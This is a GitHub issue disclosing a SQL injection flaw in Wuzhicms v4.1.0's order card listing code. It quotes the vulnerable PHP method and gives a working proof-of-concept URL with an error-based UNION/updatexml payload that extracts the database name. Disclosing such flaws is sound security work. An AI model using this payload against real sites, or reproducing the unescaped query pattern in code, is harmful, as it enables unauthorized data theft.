Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wuzhicms v4.1.0 /coreframe/app/order/admin/card.php hava a SQL Injection Vulnerability #197

Open
tcyba opened this issue Sep 6, 2021 · 0 comments

Comments

@tcyba
Copy link

tcyba commented Sep 6, 2021

Vulnerability file:

/coreframe/app/order/admin/card.php:21-45

    public function listing() {
        $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
        $page = max($page,1);
        $batchid = isset($GLOBALS['batchid']) ? $GLOBALS['batchid'] : 0;
        $keytype = isset($GLOBALS['keytype']) ? $GLOBALS['keytype'] : 0;
        $keywords = isset($GLOBALS['keywords']) ? trim($GLOBALS['keywords']) : '';

        $where = $batchid ? "`batchid`='$batchid'" : '';
        if($keytype==0 && $keywords) {
            $where = "card_no LIKE '$keywords%'";
        } elseif($keytype==1 && $keywords) {
            $r = $this->db->get_one('member', array('username' => $keywords));
            if($r) {
                $uid = $r['uid'];
                $where = "uid = '$uid'";
            } else {
                MSG('用户不存在',HTTP_REFERER);
            }
        }
        $result = $this->db->get_list('order_card', $where, '*', 0, 20,$page,'cardid DESC');
        $pages = $this->db->pages;
        $total = $this->db->number;
        $status_arr = array('<b>待发送</b>','未预约','已预约');
        include $this->template('card_listing');
    }

In the card.php file, the $keytype parameter and the $keywords parameter under the listing method are controllable, and the $keywords parameter is not strictly filtered, causing SQL injection vulnerabilities!

POC

/index.php?m=order&f=card&_su=wuzhicms&v=listing&keytype=0&keywords=11111'/**/and/**/1=1/**/union/**/SELECT/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -

image-20210906104115767

image-20210906104220567

@tcyba tcyba changed the title Wuzhicms v4.1.0 coreframe/coreframe/app/order/admin/card.php hava a SQL Injection Vulnerability Wuzhicms v4.1.0 /coreframe/app/order/admin/card.php hava a SQL Injection Vulnerability Sep 6, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant